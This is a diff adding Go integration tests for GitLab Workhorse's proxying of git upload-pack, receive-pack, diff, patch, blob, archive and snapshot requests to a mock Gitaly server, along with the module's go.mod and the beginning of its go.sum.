+func TestGetInfoRefsProxiedToGitalySuccessfully(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+
+ apiResponse := gitOkBody(t)
+ apiResponse.GitalyServer.Address = gitalyAddress
+
+ goodMetadata := map[string]string{
+ "gitaly-feature-foobar": "true",
+ "gitaly-feature-bazqux": "false",
+ }
+ badMetadata := map[string]string{
+ "bad-metadata": "is blocked",
+ }
+
+ features := make(map[string]string)
+ for k, v := range goodMetadata {
+ features[k] = v
+ }
+ for k, v := range badMetadata {
+ features[k] = v
+ }
+ apiResponse.GitalyServer.Features = features
+
+ testCases := []struct {
+ showAllRefs bool
+ gitRpc string
+ }{
+ {showAllRefs: false, gitRpc: "git-upload-pack"},
+ {showAllRefs: true, gitRpc: "git-upload-pack"},
+ {showAllRefs: false, gitRpc: "git-receive-pack"},
+ {showAllRefs: true, gitRpc: "git-receive-pack"},
+ }
+
+ for _, tc := range testCases {
+ t.Run(fmt.Sprintf("ShowAllRefs=%v,gitRpc=%v", tc.showAllRefs, tc.gitRpc), func(t *testing.T) {
+ apiResponse.ShowAllRefs = tc.showAllRefs
+
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ gitProtocol := "fake git protocol"
+ resource := "/gitlab-org/gitlab-test.git/info/refs?service=" + tc.gitRpc
+ resp, body := httpGet(t, ws.URL+resource, map[string]string{"Git-Protocol": gitProtocol})
+
+ require.Equal(t, 200, resp.StatusCode)
+
+ bodySplit := strings.SplitN(body, "\000", 3)
+ require.Len(t, bodySplit, 3)
+
+ gitalyRequest := &gitalypb.InfoRefsRequest{}
+ require.NoError(t, jsonpb.UnmarshalString(bodySplit[0], gitalyRequest))
+
+ require.Equal(t, gitProtocol, gitalyRequest.GitProtocol)
+ if tc.showAllRefs {
+ require.Equal(t, []string{git.GitConfigShowAllRefs}, gitalyRequest.GitConfigOptions)
+ } else {
+ require.Empty(t, gitalyRequest.GitConfigOptions)
+ }
+
+ require.Equal(t, tc.gitRpc, bodySplit[1])
+
+ require.Equal(t, string(testhelper.GitalyInfoRefsResponseMock), bodySplit[2], "GET %q: response body", resource)
+
+ md := gitalyServer.LastIncomingMetadata
+ for k, v := range goodMetadata {
+ actual := md[k]
+ require.Len(t, actual, 1, "number of metadata values for %v", k)
+ require.Equal(t, v, actual[0], "value for %v", k)
+ }
+
+ for k := range badMetadata {
+ actual := md[k]
+ require.Empty(t, actual, "metadata for bad key %v", k)
+ }
+ })
+ }
+}
+
+func TestGetInfoRefsProxiedToGitalyInterruptedStream(t *testing.T) {
+ apiResponse := gitOkBody(t)
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ apiResponse.GitalyServer.Address = gitalyAddress
+
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ resource := "/gitlab-org/gitlab-test.git/info/refs?service=git-upload-pack"
+ resp, err := http.Get(ws.URL + resource)
+ require.NoError(t, err)
+
+ // This causes the server stream to be interrupted instead of consumed entirely.
+ resp.Body.Close()
+
+ done := make(chan struct{})
+ go func() {
+ gitalyServer.WaitGroup.Wait()
+ close(done)
+ }()
+
+ waitDone(t, done)
+}
+
+func waitDone(t *testing.T, done chan struct{}) {
+ t.Helper()
+ select {
+ case <-done:
+ return
+ case <-time.After(10 * time.Second):
+ t.Fatal("time out waiting for gitaly handler to return")
+ }
+}
+
+func TestPostReceivePackProxiedToGitalySuccessfully(t *testing.T) {
+ apiResponse := gitOkBody(t)
+
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ apiResponse.GitalyServer.Address = "unix:" + socketPath
+ apiResponse.GitConfigOptions = []string{"git-config-hello=world"}
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ gitProtocol := "fake Git protocol"
+ resource := "/gitlab-org/gitlab-test.git/git-receive-pack"
+ resp := httpPost(
+ t,
+ ws.URL+resource,
+ map[string]string{
+ "Content-Type": "application/x-git-receive-pack-request",
+ "Git-Protocol": gitProtocol,
+ },
+ bytes.NewReader(testhelper.GitalyReceivePackResponseMock),
+ )
+ defer resp.Body.Close()
+ body := string(testhelper.ReadAll(t, resp.Body))
+
+ split := strings.SplitN(body, "\000", 2)
+ require.Len(t, split, 2)
+
+ gitalyRequest := &gitalypb.PostReceivePackRequest{}
+ require.NoError(t, jsonpb.UnmarshalString(split[0], gitalyRequest))
+
+ require.Equal(t, apiResponse.Repository.StorageName, gitalyRequest.Repository.StorageName)
+ require.Equal(t, apiResponse.Repository.RelativePath, gitalyRequest.Repository.RelativePath)
+ require.Equal(t, apiResponse.GL_ID, gitalyRequest.GlId)
+ require.Equal(t, apiResponse.GL_USERNAME, gitalyRequest.GlUsername)
+ require.Equal(t, apiResponse.GitConfigOptions, gitalyRequest.GitConfigOptions)
+ require.Equal(t, gitProtocol, gitalyRequest.GitProtocol)
+
+ require.Equal(t, 200, resp.StatusCode, "POST %q", resource)
+ require.Equal(t, string(testhelper.GitalyReceivePackResponseMock), split[1])
+ testhelper.RequireResponseHeader(t, resp, "Content-Type", "application/x-git-receive-pack-result")
+}
+
+func TestPostReceivePackProxiedToGitalyInterrupted(t *testing.T) {
+ apiResponse := gitOkBody(t)
+
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ apiResponse.GitalyServer.Address = "unix:" + socketPath
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ resource := "/gitlab-org/gitlab-test.git/git-receive-pack"
+ resp, err := http.Post(
+ ws.URL+resource,
+ "application/x-git-receive-pack-request",
+ bytes.NewReader(testhelper.GitalyReceivePackResponseMock),
+ )
+ require.NoError(t, err)
+ require.Equal(t, 200, resp.StatusCode, "POST %q", resource)
+
+ // This causes the server stream to be interrupted instead of consumed entirely.
+ resp.Body.Close()
+
+ done := make(chan struct{})
+ go func() {
+ gitalyServer.WaitGroup.Wait()
+ close(done)
+ }()
+
+ waitDone(t, done)
+}
+
+// ReaderFunc is an adapter to turn a conforming function into an io.Reader.
+type ReaderFunc func(b []byte) (int, error)
+
+func (r ReaderFunc) Read(b []byte) (int, error) { return r(b) }
+
+func TestPostUploadPackProxiedToGitalySuccessfully(t *testing.T) {
+ for i, tc := range []struct {
+ showAllRefs bool
+ code codes.Code
+ }{
+ {true, codes.OK},
+ {true, codes.Unavailable},
+ {false, codes.OK},
+ {false, codes.Unavailable},
+ } {
+ t.Run(fmt.Sprintf("Case %d", i), func(t *testing.T) {
+ apiResponse := gitOkBody(t)
+ apiResponse.ShowAllRefs = tc.showAllRefs
+
+ gitalyServer, socketPath := startGitalyServer(t, tc.code)
+ defer gitalyServer.GracefulStop()
+
+ apiResponse.GitalyServer.Address = "unix:" + socketPath
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ gitProtocol := "fake git protocol"
+ resource := "/gitlab-org/gitlab-test.git/git-upload-pack"
+
+ requestReader := bytes.NewReader(testhelper.GitalyUploadPackResponseMock)
+ var m sync.Mutex
+ requestReadFinished := false
+ resp := httpPost(
+ t,
+ ws.URL+resource,
+ map[string]string{
+ "Content-Type": "application/x-git-upload-pack-request",
+ "Git-Protocol": gitProtocol,
+ },
+ ReaderFunc(func(b []byte) (int, error) {
+ n, err := requestReader.Read(b)
+ if err != nil {
+ m.Lock()
+ requestReadFinished = true
+ m.Unlock()
+ }
+ return n, err
+ }),
+ )
+ defer resp.Body.Close()
+ require.Equal(t, 200, resp.StatusCode, "POST %q", resource)
+ testhelper.RequireResponseHeader(t, resp, "Content-Type", "application/x-git-upload-pack-result")
+
+ m.Lock()
+ requestFinished := requestReadFinished
+ m.Unlock()
+ require.True(t, requestFinished, "response written before request was fully read")
+
+ body := string(testhelper.ReadAll(t, resp.Body))
+ bodySplit := strings.SplitN(body, "\000", 2)
+ require.Len(t, bodySplit, 2)
+
+ gitalyRequest := &gitalypb.PostUploadPackRequest{}
+ require.NoError(t, jsonpb.UnmarshalString(bodySplit[0], gitalyRequest))
+
+ require.Equal(t, apiResponse.Repository.StorageName, gitalyRequest.Repository.StorageName)
+ require.Equal(t, apiResponse.Repository.RelativePath, gitalyRequest.Repository.RelativePath)
+ require.Equal(t, gitProtocol, gitalyRequest.GitProtocol)
+
+ if tc.showAllRefs {
+ require.Equal(t, []string{git.GitConfigShowAllRefs}, gitalyRequest.GitConfigOptions)
+ } else {
+ require.Empty(t, gitalyRequest.GitConfigOptions)
+ }
+
+ require.Equal(t, string(testhelper.GitalyUploadPackResponseMock), bodySplit[1], "POST %q: response body", resource)
+ })
+ }
+}
+
+func TestPostUploadPackProxiedToGitalyInterrupted(t *testing.T) {
+ apiResponse := gitOkBody(t)
+
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ apiResponse.GitalyServer.Address = "unix:" + socketPath
+ ts := testAuthServer(t, nil, nil, 200, apiResponse)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ resource := "/gitlab-org/gitlab-test.git/git-upload-pack"
+ resp, err := http.Post(
+ ws.URL+resource,
+ "application/x-git-upload-pack-request",
+ bytes.NewReader(testhelper.GitalyUploadPackResponseMock),
+ )
+ require.NoError(t, err)
+ require.Equal(t, 200, resp.StatusCode, "POST %q", resource)
+
+ // This causes the server stream to be interrupted instead of consumed entirely.
+ resp.Body.Close()
+
+ done := make(chan struct{})
+ go func() {
+ gitalyServer.WaitGroup.Wait()
+ close(done)
+ }()
+
+ waitDone(t, done)
+}
+
+func TestGetDiffProxiedToGitalySuccessfully(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ repoStorage := "default"
+ rightCommit := "e395f646b1499e8e0279445fc99a0596a65fab7e"
+ leftCommit := "8a0f2ee90d940bfb0ba1e14e8214b0649056e4ab"
+ repoRelativePath := "foo/bar.git"
+ jsonParams := fmt.Sprintf(`{"GitalyServer":{"Address":"%s","Token":""},"RawDiffRequest":"{\"repository\":{\"storageName\":\"%s\",\"relativePath\":\"%s\"},\"rightCommitId\":\"%s\",\"leftCommitId\":\"%s\"}"}`,
+ gitalyAddress, repoStorage, repoRelativePath, leftCommit, rightCommit)
+ expectedBody := testhelper.GitalyGetDiffResponseMock
+
+ resp, body, err := doSendDataRequest("/something", "git-diff", jsonParams)
+ require.NoError(t, err)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ require.Equal(t, expectedBody, string(body), "GET %q: response body", resp.Request.URL)
+}
+
+func TestGetPatchProxiedToGitalySuccessfully(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ repoStorage := "default"
+ rightCommit := "e395f646b1499e8e0279445fc99a0596a65fab7e"
+ leftCommit := "8a0f2ee90d940bfb0ba1e14e8214b0649056e4ab"
+ repoRelativePath := "foo/bar.git"
+ jsonParams := fmt.Sprintf(`{"GitalyServer":{"Address":"%s","Token":""},"RawPatchRequest":"{\"repository\":{\"storageName\":\"%s\",\"relativePath\":\"%s\"},\"rightCommitId\":\"%s\",\"leftCommitId\":\"%s\"}"}`,
+ gitalyAddress, repoStorage, repoRelativePath, leftCommit, rightCommit)
+ expectedBody := testhelper.GitalyGetPatchResponseMock
+
+ resp, body, err := doSendDataRequest("/something", "git-format-patch", jsonParams)
+ require.NoError(t, err)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ require.Equal(t, expectedBody, string(body), "GET %q: response body", resp.Request.URL)
+}
+
+func TestGetBlobProxiedToGitalyInterruptedStream(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ repoStorage := "default"
+ oid := "54fcc214b94e78d7a41a9a8fe6d87a5e59500e51"
+ repoRelativePath := "foo/bar.git"
+ jsonParams := fmt.Sprintf(`{"GitalyServer":{"Address":"%s","Token":""},"GetBlobRequest":{"repository":{"storage_name":"%s","relative_path":"%s"},"oid":"%s","limit":-1}}`,
+ gitalyAddress, repoStorage, repoRelativePath, oid)
+
+ resp, _, err := doSendDataRequest("/something", "git-blob", jsonParams)
+ require.NoError(t, err)
+
+ // This causes the server stream to be interrupted instead of consumed entirely.
+ resp.Body.Close()
+
+ done := make(chan struct{})
+ go func() {
+ gitalyServer.WaitGroup.Wait()
+ close(done)
+ }()
+
+ waitDone(t, done)
+}
+
+func TestGetArchiveProxiedToGitalySuccessfully(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ repoStorage := "default"
+ oid := "54fcc214b94e78d7a41a9a8fe6d87a5e59500e51"
+ repoRelativePath := "foo/bar.git"
+ archivePrefix := "repo-1"
+ expectedBody := testhelper.GitalyGetArchiveResponseMock
+ archiveLength := len(expectedBody)
+
+ testCases := []struct {
+ archivePath string
+ cacheDisabled bool
+ }{
+ {archivePath: path.Join(scratchDir, "my/path"), cacheDisabled: false},
+ {archivePath: "/var/empty/my/path", cacheDisabled: true},
+ }
+
+ for _, tc := range testCases {
+ jsonParams := fmt.Sprintf(`{"GitalyServer":{"Address":"%s","Token":""},"GitalyRepository":{"storage_name":"%s","relative_path":"%s"},"ArchivePath":"%s","ArchivePrefix":"%s","CommitId":"%s","DisableCache":%v}`,
+ gitalyAddress, repoStorage, repoRelativePath, tc.archivePath, archivePrefix, oid, tc.cacheDisabled)
+ resp, body, err := doSendDataRequest("/archive.tar.gz", "git-archive", jsonParams)
+ require.NoError(t, err)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ require.Equal(t, expectedBody, string(body), "GET %q: response body", resp.Request.URL)
+ require.Equal(t, archiveLength, len(body), "GET %q: body size", resp.Request.URL)
+
+ if tc.cacheDisabled {
+ _, err := os.Stat(tc.archivePath)
+ require.True(t, os.IsNotExist(err), "expected 'does not exist', got: %v", err)
+ } else {
+ cachedArchive, err := ioutil.ReadFile(tc.archivePath)
+ require.NoError(t, err)
+ require.Equal(t, expectedBody, string(cachedArchive))
+ }
+ }
+}
+
+func TestGetArchiveProxiedToGitalyInterruptedStream(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ repoStorage := "default"
+ oid := "54fcc214b94e78d7a41a9a8fe6d87a5e59500e51"
+ repoRelativePath := "foo/bar.git"
+ archivePath := "my/path"
+ archivePrefix := "repo-1"
+ jsonParams := fmt.Sprintf(`{"GitalyServer":{"Address":"%s","Token":""},"GitalyRepository":{"storage_name":"%s","relative_path":"%s"},"ArchivePath":"%s","ArchivePrefix":"%s","CommitId":"%s"}`,
+ gitalyAddress, repoStorage, repoRelativePath, path.Join(scratchDir, archivePath), archivePrefix, oid)
+
+ resp, _, err := doSendDataRequest("/archive.tar.gz", "git-archive", jsonParams)
+ require.NoError(t, err)
+
+ // This causes the server stream to be interrupted instead of consumed entirely.
+ resp.Body.Close()
+
+ done := make(chan struct{})
+ go func() {
+ gitalyServer.WaitGroup.Wait()
+ close(done)
+ }()
+
+ waitDone(t, done)
+}
+
+func TestGetDiffProxiedToGitalyInterruptedStream(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ repoStorage := "default"
+ rightCommit := "e395f646b1499e8e0279445fc99a0596a65fab7e"
+ leftCommit := "8a0f2ee90d940bfb0ba1e14e8214b0649056e4ab"
+ repoRelativePath := "foo/bar.git"
+ jsonParams := fmt.Sprintf(`{"GitalyServer":{"Address":"%s","Token":""},"RawDiffRequest":"{\"repository\":{\"storageName\":\"%s\",\"relativePath\":\"%s\"},\"rightCommitId\":\"%s\",\"leftCommitId\":\"%s\"}"}`,
+ gitalyAddress, repoStorage, repoRelativePath, leftCommit, rightCommit)
+
+ resp, _, err := doSendDataRequest("/something", "git-diff", jsonParams)
+ require.NoError(t, err)
+
+ // This causes the server stream to be interrupted instead of consumed entirely.
+ resp.Body.Close()
+
+ done := make(chan struct{})
+ go func() {
+ gitalyServer.WaitGroup.Wait()
+ close(done)
+ }()
+
+ waitDone(t, done)
+}
+
+func TestGetPatchProxiedToGitalyInterruptedStream(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ repoStorage := "default"
+ rightCommit := "e395f646b1499e8e0279445fc99a0596a65fab7e"
+ leftCommit := "8a0f2ee90d940bfb0ba1e14e8214b0649056e4ab"
+ repoRelativePath := "foo/bar.git"
+ jsonParams := fmt.Sprintf(`{"GitalyServer":{"Address":"%s","Token":""},"RawPatchRequest":"{\"repository\":{\"storageName\":\"%s\",\"relativePath\":\"%s\"},\"rightCommitId\":\"%s\",\"leftCommitId\":\"%s\"}"}`,
+ gitalyAddress, repoStorage, repoRelativePath, leftCommit, rightCommit)
+
+ resp, _, err := doSendDataRequest("/something", "git-format-patch", jsonParams)
+ require.NoError(t, err)
+
+ // This causes the server stream to be interrupted instead of consumed entirely.
+ resp.Body.Close()
+
+ done := make(chan struct{})
+ go func() {
+ gitalyServer.WaitGroup.Wait()
+ close(done)
+ }()
+
+ waitDone(t, done)
+}
+
+func TestGetSnapshotProxiedToGitalySuccessfully(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+ expectedBody := testhelper.GitalyGetSnapshotResponseMock
+ archiveLength := len(expectedBody)
+
+ params := buildGetSnapshotParams(gitalyAddress, buildPbRepo("default", "foo/bar.git"))
+ resp, body, err := doSendDataRequest("/api/v4/projects/:id/snapshot", "git-snapshot", params)
+ require.NoError(t, err)
+
+ require.Equal(t, http.StatusOK, resp.StatusCode, "GET %q: status code", resp.Request.URL)
+ require.Equal(t, expectedBody, string(body), "GET %q: body", resp.Request.URL)
+ require.Equal(t, archiveLength, len(body), "GET %q: body size", resp.Request.URL)
+
+ testhelper.RequireResponseHeader(t, resp, "Content-Disposition", `attachment; filename="snapshot.tar"`)
+ testhelper.RequireResponseHeader(t, resp, "Content-Type", "application/x-tar")
+ testhelper.RequireResponseHeader(t, resp, "Content-Transfer-Encoding", "binary")
+ testhelper.RequireResponseHeader(t, resp, "Cache-Control", "private")
+}
+
+func TestGetSnapshotProxiedToGitalyInterruptedStream(t *testing.T) {
+ gitalyServer, socketPath := startGitalyServer(t, codes.OK)
+ defer gitalyServer.GracefulStop()
+
+ gitalyAddress := "unix:" + socketPath
+
+ params := buildGetSnapshotParams(gitalyAddress, buildPbRepo("default", "foo/bar.git"))
+ resp, _, err := doSendDataRequest("/api/v4/projects/:id/snapshot", "git-snapshot", params)
+ require.NoError(t, err)
+
+ // This causes the server stream to be interrupted instead of consumed entirely.
+ resp.Body.Close()
+
+ done := make(chan struct{})
+ go func() {
+ gitalyServer.WaitGroup.Wait()
+ close(done)
+ }()
+
+ waitDone(t, done)
+}
+
+func buildGetSnapshotParams(gitalyAddress string, repo *gitalypb.Repository) string {
+ msg := serializedMessage("GetSnapshotRequest", &gitalypb.GetSnapshotRequest{Repository: repo})
+ return buildGitalyRPCParams(gitalyAddress, msg)
+}
+
+type rpcArg struct {
+ k string
+ v interface{}
+}
+
+// Gitlab asks workhorse to perform some long-running RPCs for it by sending
+// the RPC arguments (which are protobuf messages) in HTTP response headers.
+// The messages are encoded to JSON objects using pbjson, The strings are then
+// re-encoded to JSON strings using json. We must replicate this behaviour here
+func buildGitalyRPCParams(gitalyAddress string, rpcArgs ...rpcArg) string {
+ built := map[string]interface{}{
+ "GitalyServer": map[string]string{
+ "Address": gitalyAddress,
+ "Token": "",
+ },
+ }
+
+ for _, arg := range rpcArgs {
+ built[arg.k] = arg.v
+ }
+
+ b, err := json.Marshal(interface{}(built))
+ if err != nil {
+ panic(err)
+ }
+
+ return string(b)
+}
+
+func buildPbRepo(storageName, relativePath string) *gitalypb.Repository {
+ return &gitalypb.Repository{
+ StorageName: storageName,
+ RelativePath: relativePath,
+ }
+}
+
+func serializedMessage(name string, arg proto.Message) rpcArg {
+ m := &jsonpb.Marshaler{}
+ str, err := m.MarshalToString(arg)
+ if err != nil {
+ panic(err)
+ }
+
+ return rpcArg{name, str}
+}
+
+func serializedProtoMessage(name string, arg proto.Message) rpcArg {
+ msg, err := proto.Marshal(arg)
+
+ if err != nil {
+ panic(err)
+ }
+
+ return rpcArg{name, base64.URLEncoding.EncodeToString(msg)}
+}
+
+type combinedServer struct {
+ *grpc.Server
+ *testhelper.GitalyTestServer
+}
+
+func startGitalyServer(t *testing.T, finalMessageCode codes.Code) (*combinedServer, string) {
+ socketPath := path.Join(scratchDir, fmt.Sprintf("gitaly-%d.sock", rand.Int()))
+ if err := os.Remove(socketPath); err != nil && !os.IsNotExist(err) {
+ t.Fatal(err)
+ }
+ server := grpc.NewServer()
+ listener, err := net.Listen("unix", socketPath)
+ require.NoError(t, err)
+
+ gitalyServer := testhelper.NewGitalyServer(finalMessageCode)
+ gitalypb.RegisterSmartHTTPServiceServer(server, gitalyServer)
+ gitalypb.RegisterBlobServiceServer(server, gitalyServer)
+ gitalypb.RegisterRepositoryServiceServer(server, gitalyServer)
+ gitalypb.RegisterDiffServiceServer(server, gitalyServer)
+
+ go server.Serve(listener)
+
+ return &combinedServer{Server: server, GitalyTestServer: gitalyServer}, socketPath
+}
diff --git a/workhorse/go.mod b/workhorse/go.mod
new file mode 100644
index 00000000000..5fed8de4796
--- /dev/null
+++ b/workhorse/go.mod
@@ -0,0 +1,44 @@
+module gitlab.com/gitlab-org/gitlab-workhorse
+
+go 1.13
+
+require (
+ github.com/Azure/azure-storage-blob-go v0.10.0
+ github.com/BurntSushi/toml v0.3.1
+ github.com/FZambia/sentinel v1.0.0
+ github.com/alecthomas/chroma v0.7.3
+ github.com/aws/aws-sdk-go v1.31.13
+ github.com/certifi/gocertifi v0.0.0-20200922220541-2c3bb06c6054 // indirect
+ github.com/dgrijalva/jwt-go v3.2.0+incompatible
+ github.com/disintegration/imaging v1.6.2
+ github.com/getsentry/raven-go v0.2.0
+ github.com/golang/gddo v0.0.0-20190419222130-af0f2af80721
+ github.com/golang/protobuf v1.4.3
+ github.com/gomodule/redigo v2.0.0+incompatible
+ github.com/gorilla/websocket v1.4.0
+ github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
+ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0
+ github.com/johannesboyne/gofakes3 v0.0.0-20200510090907-02d71f533bec
+ github.com/jpillora/backoff v1.0.0
+ github.com/mitchellh/copystructure v1.0.0
+ github.com/prometheus/client_golang v1.8.0
+ github.com/rafaeljusto/redigomock v0.0.0-20190202135759-257e089e14a1
+ github.com/sebest/xff v0.0.0-20160910043805-6c115e0ffa35
+ github.com/shabbyrobe/gocovmerge v0.0.0-20190829150210-3e036491d500 // indirect
+ github.com/sirupsen/logrus v1.7.0
+ github.com/smartystreets/goconvey v1.6.4
+ github.com/stretchr/testify v1.6.1
+ gitlab.com/gitlab-org/gitaly v1.74.0
+ gitlab.com/gitlab-org/labkit v1.0.0
+ gocloud.dev v0.20.0
+ golang.org/x/lint v0.0.0-20200302205851-738671d3881b
+ golang.org/x/net v0.0.0-20200625001655-4c5254603344
+ golang.org/x/tools v0.0.0-20200608174601-1b747fd94509
+ google.golang.org/grpc v1.29.1
+ honnef.co/go/tools v0.0.1-2020.1.5
+)
+
+// go get tries to enforce semantic version compatibility via module paths.
+// We can't upgrade to Gitaly v13.x.x from v1.x.x without using a manual override.
+// See https://gitlab.com/gitlab-org/gitaly/-/issues/3177 for more details.
+replace gitlab.com/gitlab-org/gitaly => gitlab.com/gitlab-org/gitaly v1.87.1-0.20201001041716-3f5e218def93
diff --git a/workhorse/go.sum b/workhorse/go.sum
new file mode 100644
index 00000000000..0b92dda088c
--- /dev/null
+++ b/workhorse/go.sum
@@ -0,0 +1,1025 @@
+bazil.org/fuse v0.0.0-20180421153158-65cc252bf669/go.mod h1:Xbm+BRKSBEpa4q4hTSxohYNQpsxXPbPry4JJWOB3LB8=
+bou.ke/monkey v1.0.1/go.mod h1:FgHuK96Rv2Nlf+0u1OOVDpCMdsWyOFmeeketDHE7LIg=
+cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
+cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
+cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
+cloud.google.com/go v0.39.0/go.mod h1:rVLT6fkc8chs9sfPtFc1SBH6em7n+ZoXaG+87tDISts=
+cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
+cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
+cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
+cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
+cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
+cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
+cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
+cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
+cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
+cloud.google.com/go v0.55.0/go.mod h1:ZHmoY+/lIMNkN2+fBmuTiqZ4inFhvQad8ft7MT8IV5Y=
+cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
+cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
+cloud.google.com/go v0.58.0 h1:vtAfVc723K3xKq1BQydk/FyCldnaNFhGhpJxaJzgRMQ=
+cloud.google.com/go v0.58.0/go.mod h1:W+9FnSUw6nhVwXlFcp1eL+krq5+HQUJeUogSeJZZiWg=
+cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
+cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
+cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
+cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
+cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
+cloud.google.com/go/bigquery v1.8.0 h1:PQcPefKFdaIzjQFbiyOgAqyx8q5djaE7x9Sqe712DPA=
+cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
+cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
+cloud.google.com/go/datastore v1.1.0 h1:/May9ojXjRkPBNVrq+oWLqmWCkr4OU5uRY29bu0mRyQ=
+cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
+cloud.google.com/go/firestore v1.2.0/go.mod h1:iISCjWnTpnoJT1R287xRdjvQHJrxQOpeah4phb5D3h0=
+cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
+cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
+cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
+cloud.google.com/go/pubsub v1.3.1 h1:ukjixP1wl0LpnZ6LWtZJ0mX5tBmjp1f8Sqer8Z2OMUU=
